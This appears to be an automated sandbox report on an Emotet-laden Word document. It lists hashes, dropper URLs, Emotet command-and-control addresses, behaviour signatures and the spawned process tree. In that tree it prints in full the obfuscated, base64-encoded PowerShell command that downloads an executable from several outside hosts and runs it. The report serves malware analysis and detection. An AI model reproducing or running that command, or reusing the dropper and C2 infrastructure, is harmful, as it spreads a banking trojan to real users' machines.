Analysis

  • max time kernel
    59s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    18/08/2020, 19:39

General

  • Target
    emotet_e3_a3988e96eb40bdb0e85c654e1057f09f2978d2aa16fe3ec6b9664a70a8012ee4_2020-08-18__193825._doc.doc
  • Size 177KB
  • Sample200818-591jqshtex
  • SHA256 a3988e96eb40bdb0e85c654e1057f09f2978d2aa16fe3ec6b9664a70a8012ee4
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://bomacargo.id/bomacargo.id/wkdaILRRX/

  • exe.dropper

    https://humido.pl/wp-includes/XvlAFTYy/

  • exe.dropper

    https://gpmrglobal.com/08.07.2020/xVhK6le0e58169/

  • exe.dropper

    http://maticshosting.info/wp/8FEjm2v11576/

  • exe.dropper

    http://shobdomela.com/sjwt9/glzfny3k0366/

Extracted

Family
  • emotet

C2
  • 112.78.142.170:80

  • 178.128.14.92:8080

  • 178.238.232.46:443

  • 185.142.236.163:443

  • 192.210.217.94:8080

  • 192.241.220.183:8080

  • 105.209.235.113:8080

  • 182.187.139.200:8080

  • 188.0.135.237:80

  • 201.213.177.139:80

  • 31.146.61.34:80

  • 202.5.47.71:80

  • 81.17.93.134:80

  • 192.163.221.191:8080

  • 97.104.107.190:80

  • 201.235.10.215:80

  • 181.114.114.203:80

  • 51.38.201.19:7080

  • 46.32.229.152:8080

  • 177.144.130.105:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 5 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_a3988e96eb40bdb0e85c654e1057f09f2978d2aa16fe3ec6b9664a70a8012ee4_2020-08-18__193825._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1448
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABEAGgAXwBfAG8AegBtAD0AKAAnAFkAJwArACcANgBqAG0AJwArACcAagBqAGQAJwApADsAJgAoACcAbgBlAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAFYAOgBUAEUATQBwAFwAbwBmAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAGAAVQBSAEkAVABZAGAAcAByAGAAbwBUAG8AQwBPAEwAIgAgAD0AIAAoACcAdAAnACsAJwBsAHMAJwArACcAMQAnACsAJwAyACwAIAB0ACcAKwAnAGwAcwAxADEALAAgACcAKwAnAHQAbABzACcAKQA7ACQAVwBkAHEANgBvADUANQAgAD0AIAAoACcAVQAnACsAJwB0AG4AdwA3ACcAKwAnAGgAJwApADsAJABIAG0AbQB3AGYAZgBqAD0AKAAnAEYAbgAnACsAJwAxACcAKwAnAF8AZwB6AHIAJwApADsAJABBAHMAaABrADkAeABoAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBEACcAKwAnAEUANABPAGYAZgBpACcAKwAnAGMAJwArACcAZQAnACsAJwAyADAAMQA5AEQARQA0ACcAKQAuACIAcgBFAGAAcABMAEEAYwBFACIAKAAnAEQARQA0ACcALAAnAFwAJwApACkAKwAkAFcAZABxADYAbwA1ADUAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEkAZgBoAG0AYwBvADcAPQAoACcAUAAnACsAJwBhAGoAYgAnACsAJwA3AHIAaQAnACkAOwAkAFcAawBhAG4AZABkAHMAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AdwBFAGIAYwBsAEkARQBOAHQAOwAkAFkAdQBuAHIAagB3AGUAPQAoACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAvAGIAbwBtACcAKwAnAGEAYwBhACcAKwAnAHIAJwArACcAZwBvAC4AaQBkACcAKwAnAC8AYgBvAG0AYQBjAGEAcgBnAG8ALgBpAGQALwB3AGsAJwArACcAZABhAEkATABSAFIAWAAvACoAaAB0AHQAcABzADoAJwArACcALwAvAGgAdQBtAGkAZABvAC4AcABsAC8AdwBwAC0AaQBuACcAKwAnAGMAbAB1AGQAZQBzAC8AWAB2AGwAQQBGAFQAWQB5AC8AJwArACcAKgBoAHQAdABwAHMAOgAvACcAKwAnAC8AJwArACcAZwBwACcAKwAnAG0AcgBnAGwAbwBiAGEAbAAuAGMAbwBtAC8AMAAnACsAJwA4AC4AMAA3AC4AMgAwADIAMAAnACsAJwAvAHgAVgBoAEsANgBsAGUAMABlADUAOAAxACcAKwAnADYAJwArACcAOQAnACsAJwAvACoAaAB0AHQAcAA6AC8ALwBtAGEAJwArACcAdABpAGMAcwBoAG8AJwArACcAcwB0AGkAbgAnACsAJwBnAC4AaQAnACsAJwBuAGYAbwAvACcAKwAnAHcAcAAvADgARgBFACcAKwAnAGoAbQAyACcAKwAnAHYAMQAxACcAKwAnADUANwA2AC8AKgBoAHQAJwArACcAdABwADoAJwArACcALwAvAHMAaABvAGIAJwArACcAZABvACcAKwAnAG0AZQBsAGEALgBjAG8AbQAvAHMAJwArACcAagB3AHQAOQAvAGcAbAB6AGYAbgAnACsAJwB5ADMAawAwADMANgA2AC8AJwApAC4AIgBTAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgAdQAxAHgAYwBjAGcAPQAoACcAUgAnACsAJwByAGIAXwB0AGsAJwArACcAOAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABCAGgAMQBlAG8AegByACAAaQBuACAAJABZAHUAbgByAGoAdwBlACkAewB0AHIAeQB7ACQAVwBrAGEAbgBkAGQAcwAuACIARABgAE8AdwBOAGAAbABPAEEARABgAEYASQBMAGUAIgAoACQAQgBoADEAZQBvAHoAcgAsACAAJABBAHMAaABrADkAeABoACkAOwAkAEkAcABhAHEAeQA3AHYAPQAoACcATQB1AGIAZgA4ACcAKwAnAGkAcgAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAQQBzAGgAawA5AHgAaAApAC4AIgBsAGAAZQBOAEcAVABIACIAIAAtAGcAZQAgADMANAA0ADQANAApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABBAHMAaABrADkAeABoACkAOwAkAFAAYwB4AF8ANQBiAGoAPQAoACcASwB5ACcAKwAnAHcAbgA4AGoAbAAnACkAOwBiAHIAZQBhAGsAOwAkAFQAMQBxAHEANABxAGIAPQAoACcAVgBnACcAKwAnAHMAYQAnACsAJwBhADkAcQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkANgA5AGkAagB0AHMAPQAoACcAVABxACcAKwAnAGsAaABfACcAKwAnAHQAdgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1816
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Utnw7h.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Utnw7h.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1792
      • C:\Windows\SysWOW64\PortableDeviceClassExtension\UIAutomationCore.exe
        "C:\Windows\SysWOW64\PortableDeviceClassExtension\UIAutomationCore.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1592

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1448-2-0x0000000008940000-0x0000000008944000-memory.dmp

        memory/1448-4-0x0000000007090000-0x0000000007290000-memory.dmp

        memory/1448-5-0x000000000AEB0000-0x000000000AEB4000-memory.dmp

        memory/1448-6-0x000000000BF30000-0x000000000BF34000-memory.dmp

        memory/1448-0-0x0000000004770000-0x0000000004870000-memory.dmp

        memory/1592-22-0x0000000000280000-0x000000000028C000-memory.dmp

        memory/1624-23-0x000007FEF27B0000-0x000007FEF2A2A000-memory.dmp

        memory/1792-18-0x00000000002E0000-0x00000000002EC000-memory.dmp

        memory/1816-9-0x000007FEF2090000-0x000007FEF2A7C000-memory.dmp

        memory/1816-15-0x000000001C3C0000-0x000000001C3C1000-memory.dmp

        memory/1816-14-0x000000001B5B0000-0x000000001B5B1000-memory.dmp

        memory/1816-13-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1816-12-0x0000000001FF0000-0x0000000001FF1000-memory.dmp

        memory/1816-11-0x000000001AC30000-0x000000001AC31000-memory.dmp

        memory/1816-10-0x0000000001F30000-0x0000000001F31000-memory.dmp